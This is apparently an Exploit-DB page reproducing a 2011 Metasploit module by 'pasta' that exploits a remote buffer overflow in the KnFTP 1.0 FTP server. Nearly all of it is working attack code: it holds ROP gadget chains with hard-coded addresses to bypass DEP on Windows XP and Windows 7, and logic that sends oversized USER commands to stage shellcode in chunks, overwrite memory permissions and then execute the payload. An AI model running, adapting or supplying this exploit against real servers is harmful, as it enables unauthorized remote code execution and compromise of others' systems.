KnFTP 1.0 – Remote Buffer Overflow (DEP Bypass) (Metasploit)

  • 作者: pasta
    日期: 2011-11-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18089/
  • #module for metasploit framework, for more information
    #see the Description.
    #Copyright (C) October 04th 2011
    #Author: Javier Aguinaga (pasta) el.tio.pastafrola[at]gmail.com 
    #
    #This program is free software: you can redistribute it and/or modify
    #it under the terms of the GNU General Public License as published by
    #the Free Software Foundation, either version 3 of the License, or
    #(at your option) any later version.
    #
    #This program is distributed in the hope that it will be useful,
    #but WITHOUT ANY WARRANTY; without even the implied warranty of
    #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the
    #GNU General Public License for more details.
    #
    #You should have received a copy of the GNU General Public License
    #along with this program.If not, see <http://www.gnu.org/licenses/>.
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GreatRanking
    
    	include Msf::Exploit::Remote::Ftp
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'KnFTP FTP Server Multiple Commands Remote Buffer Overflow Vulnerabilities',
    			'Description'=> %q{
    				This module exploits a vulnerability in the KnFTP
    				application. The same by-pass DEP with AlwaysOn.
    				
    				Built for the 10th contest of [C]racks[L]atino[S].
    			},
    			'Author' => [ 'pasta' ],
    			'License'=> GPL_LICENSE,
    			'Version'=> '$Revision: 0 $',
    			'References' =>
    				[
    					[ 'URL', 'https://www.securityfocus.com/bid/49427'],
    				],
    			'Privileged' => false,
    			'Payload'=>
    				{
    					'Space'=> 0x300,
    					'BadChars' => "\x00",
    					'DisableNops'	=>'True'
    				},
    			'Platform' => [ 'win' ],
    			'Targets'=>
    				[
    					[
    						'Windows XP SP2/SP3 Spanish (NX)',
    						{
    							'rop_movs' => [
    								0x77bf1d16, # POP EAX
    								0x41414141, # PADDING
    								0x77c07451, # LEA EAX,[EBP-10]
    								0x77bf2751, # EBP = ESP+C && JMP EAX <--
    								
    								# se ejecuta la carga de EBP
    											# y despues carga en EAX el valor
    											# EBP-10, esto es x el JMP EAX
    											
    								0x77bef2c1, # ADD EAX,8
    								0x77bef2c1, # ADD EAX,8
    								0x77bef2c1, # ADD EAX,8
    								0x77bef2c1, # ADD EAX,8
    								0x77be95ab, # XCHG EAX,ESI # CMPS <-- ROBA
    								0x77c0620b, # MUEVE 6 DWORDS DE ESI A EDI
    								0x41414141, # JUNK
    								0x41414141, # JUNK
    								0x77bf22b6# JMP $
    								],
    							
    							'rop_popeax_null' => [
    								0x77bef519, # POP ECX
    								0x41414141, # PADDING
    								0x42424242, # JUNK
    								0x77bf1d16, # POP EAX
    								0x42424242, # JUNK
    								0x77c0f284# LEA EAX,[EAX+ECX*8]
    								],
    							
    							'rop_popeax' => [
    								0x77bf1d16, # POP EAX
    								0x41414141, # PADDING
    								0x42424242# JUNK
    								],
    								
    							'rop_writemem' => [
    								0x77bef519, # POP ECX
    								0x42424242, # JUNK
    								0x77c12f02, # MOV [ECX],EAX
    								0x42424242, # JUNK
    								0x77bf22b6# JMP $
    								],
    								
    							'rop_jmpeax' => [
    								0x77be68cd, # JMP EAX
    								],
    								
    							'rop_changeeip' => [
    								0x77bf1d16, # POP EAX
    								0x41414141, # PADDING
    								0x41414141, # JUNK
    								0x77be68cd# JMP EAX
    								],
    								
    							'place4payload' => 0x77e1ac81, # .data msvcrt	
    							'place4argumen' => 0x77e1ab40, # .data msvcrt
    							
    							'loop' => 0x77bf22b6, # JMP $
    						}
    					],
    					
    					[
    						'Windows 7 Professional SP1 Spanish (NX)',
    						{
    							'rop_movs' => [
    								0x770c181f,
    								0x41414141,
    								0x77099871,
    								0x770abffd,
    								0x7709a5c5,
    								0x7709a5c5,
    								0x7709a5c5,
    								0x7709a5c5,
    								0x770ce0ab,
    								0x770c07d2,
    								0x41414141,
    								0x41414141,
    								0x770aac5b
    								],
    							
    							'rop_popeax_null' => [
    								0x7709a984,
    								0x41414141,
    								0x42424242,
    								0x770c181f,
    								0x42424242,
    								0x770c040f
    								],
    							
    							'rop_popeax' => [
    								0x770c181f,
    								0x41414141,
    								0x42424242
    								],
    								
    							'rop_writemem' => [
    								0x7709a984,
    								0x42424242,
    								0x770a3bdb,
    								0x42424242,
    								0x770aac5b
    								],
    								
    							'rop_jmpeax' => [
    								0x7709c441,
    								],
    								
    							'rop_changeeip' => [
    								0x770c181f,
    								0x41414141,
    								0x41414141,
    								0x7709c441
    								],
    								
    							'place4payload' => 0x77136C01,
    							'place4argumen' => 0x77136a80,
    							
    							'loop' => 0x77bf22b6,
    						}
    					],
    				],
    			'DisclosureDate' => 'Sept 19 2011',
    			'DefaultTarget' => 0))
    			
    			register_options(
    				[
    					OptInt.new('TIME', [ true, 'Delay between packets. (seconds)', 5 ]),
    				], self.class)
    	end
    
    	def exploit
    		connect
    		print_status("Sending eggs")
    		
    		address = target['place4payload'] + 0x300
    		payload.encoded << 'A'*(16 - payload.encoded.length % 16)
    		
    		(payload.encoded.length/16).times {|i|
    			i += 1
    			
    			buf= 'A'*276
    			buf << [address - 16 * i].pack('<L')
    			buf << 'A'*4
    			
    			buf << target['rop_movs'].pack('V*') + '1' # <-- byte corrido por CMPS
    			
    			buf << payload.encoded[payload.encoded.length - 16 * i, 16]
    			sleep(datastore['TIME'])
    			print "="*i + " "*((payload.encoded.length/16)-i) + "> #{i}/#{payload.encoded.length/16} egg[s]\r"
    			send_user(buf)
    			disconnect
    			
    			connect
    		}
    
    		memory = target['place4argumen']
    		keys = {
    			memory+0x04 => target['loop'],
    			memory-0x38 => target['place4payload'],
    			memory-0x2c => 0x300,
    			memory-0x1c => 0x40
    		}
    		
    		print_status("Disabling [D]ata [E]xecution [P]revention")
    		
    		j = 1
    		keys.each {|direction, dword|
    			
    			buf = 'A'*284
    				
    			if [dword].pack('<L').index(0.chr)
    				ecx = 0x01111111
    				eax = 2**32 + dword - ecx*8
    				
    				target['rop_popeax_null'][2] = ecx
    				target['rop_popeax_null'][4] = eax
    				buf << target['rop_popeax_null'].pack('V*')
    			else
    				target['rop_popeax'][2] = dword
    				buf << target['rop_popeax'].pack('V*')
    			end
    			
    			target['rop_writemem'][1] = direction
    			buf << target['rop_writemem'].pack('V*')
    				
    			sleep(datastore['TIME'])
    			
    			print "="*j + " "*(5-j) + "> #{j}/5 egg[s]\r"
    			j += 1
    			
    			send_user(buf)
    			disconnect
    				
    			#connect again
    			connect
    		}
    		
    		buf = 'A'*280
    		buf << [memory].pack('<L')
    		
    		load_arguments = 0x00403822
    		ecx = 0x01111111
    		eax = 2**32 + load_arguments - ecx * 8
    		
    		target['rop_popeax_null'][2] = ecx
    		target['rop_popeax_null'][4] = eax
    		
    		buf << (target['rop_popeax_null'] + target['rop_jmpeax'] + [0x41414141]).pack('V*')
    		
    		sleep(datastore['TIME'])
    		print "=====> 5/5\r"
    		send_user(buf)
    		
    		print_good("PAYLOAD INJECT SUCCESSFULL")
    		disconnect
    		
    		connect
    		
    		buf = 'A'*284
    		target['rop_changeeip'][2] = target['place4payload'] + 0x300 - payload.encoded.length + 7
    		
    		buf << target['rop_changeeip'].pack('V*')
    		
    		print_status("Executing shellcode...")
    		send_user(buf)
    		sleep(datastore['TIME']*4)
    		
    		handler
    		disconnect
    	end
    
    end